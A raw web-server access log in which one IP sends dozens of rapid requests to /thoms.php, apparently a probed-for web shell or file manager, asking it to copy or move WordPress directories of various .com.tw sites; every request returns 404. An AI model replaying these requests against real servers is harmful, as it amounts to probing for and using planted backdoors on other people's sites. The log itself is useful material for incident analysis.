45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:21 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:22 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:23 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:24 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
